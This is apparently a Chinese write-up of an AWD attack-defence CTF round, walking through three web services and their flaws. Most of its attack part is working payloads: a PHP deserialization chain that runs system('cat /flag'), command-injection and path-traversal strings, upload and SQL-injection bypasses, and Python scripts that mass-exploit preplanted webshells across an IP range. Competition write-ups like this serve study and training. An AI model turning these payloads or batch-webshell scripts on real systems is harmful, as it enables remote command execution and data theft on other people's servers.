北极星杯 awd复现
服务器共有3个web和一个pwn
web1
1,down下web1的源码,使用D盾扫描:
2,漏洞1:发现三个冰蝎的木马,和一个一句话木马
冰蝎的后门需要使用冰蝎的客户端进行连接:如图:
一句话木马直接使用菜刀或蚁剑连接即可:
3,漏洞2:sqlhelper.php的反序列化漏洞:
构造payload:
<?php
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
$s = new A;
$a = serialize($s);
echo $a;
构造payload得:
O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";};
最终payload:
GET: ?x=v01cano
POST: un=O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";};
4,漏洞3:sql注入漏洞login/index.php
username没有任何过滤,直接带入查询语句进行查询,由此处产生了sql注入漏洞。
5,漏洞4: 文件上传漏洞info.php
此处仅仅判断了content-type,所以只需在bp中修改content-type即可成功绕过。
web2
1,down下源码D盾扫描,发现如下漏洞:
icon/pww.php 冰蝎后门
images/pass.php 冰蝎后门
login/index.php 中有一句话木马:
2,connect.php的命令执行漏洞
仅仅使用addslashes对$host参数进行了过滤,我们执行命令的时候不使用引号和反斜杠即可
payload:
||cat /flag > /ver/www/html/1.txt
3,img.php任意文件读取漏洞
使用seay源代码审计系统进行自动审计,发现该漏洞:
img参数没有任何过滤,直接带入file_get_contents函数进行文件读取,从而造成了文件读取漏洞。
payload:
/img.php?img=../../../../../../../flag
4,sqlhelper.php的反序列化漏洞
构造payload:
<?php
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
$s = new A;
$a = serialize($s);
echo $a;
构造payload得:
O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";};
最终payload:
POST: un=O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";};
web3
1,down下源码D盾扫描,发现如下漏洞:
命令执行漏洞:export.php
payload:
|| cat /flag > /var/www/html/1.txt ||
总结:
在awd比赛过程中,脚本的力量是不可忽略的,批量操作可以快速占据高地。
1,开局getflag脚本:
开局利用预留后门getflag,此处目标主机均是端口不同,修改端口即可。
import requests
url = "http://182.254.171.241:88{0}"
shell = "/.a.php"
payload = {"c": "system('cat /flag');"}
# data = {"c": "system('cat /flag');"}
for i in range(1, 5, 1):
i = str(i).zfill(2)
url1 = url.format(i) + shell
# print(url1)
try:
res = requests.post(url1, data=payload)
# print(res.status_code)
if res.status_code == requests.codes.ok:
res.encoding = res.apparent_encoding
print(url1+"connect success ,flag is : "+res.text)
else:
print("shell 404")
except:
print(url1 + "connect shell fail")
其他表哥们的脚本:
import requests
u = open('ip.txt', 'r+')
for urls in u:
try:
if 'http://' not in urls:
urle = 'http://' + urls
urlss = urle.strip('
') + '/.a.php'
data = {"c": "system('cat /flag');"}
req = requests.post(url=urlss, data=data, timeout=3)
if req.status_code == 200:
print(req.text)
except:
print()
ip.txt中内容如下;
ip.txt可以采用如下脚本按照需要生成即可:
ip = "182.254.171.241:88{0}"
for i in range(1, 5, 1):
i = str(i).zfill(2)
ip1 = ip.format(i)
with open("ip1.txt","a") as f:
f.write(ip1+"
")
以get请求获取flag:
import requests
ip = open("ip.txt", "r")
payload = {"c": "system('cat /flag');"}
shell = '/.a.php'
for url in ip:
if 'http://' not in url:
url = 'http://' + url
webshell = url + shell
try:
res = requests.get(webshell, params=payload, timeout=1)
if res.status_code == 200:
print(res.text)
else:
print("shell error")
except:
print("未知错误")
reference:
1,https://yzddmr6.tk/posts/xm-one-year-awd/#more
2,关注星盟安全微信公众号,搜索北极星杯AWD-Web-Writeup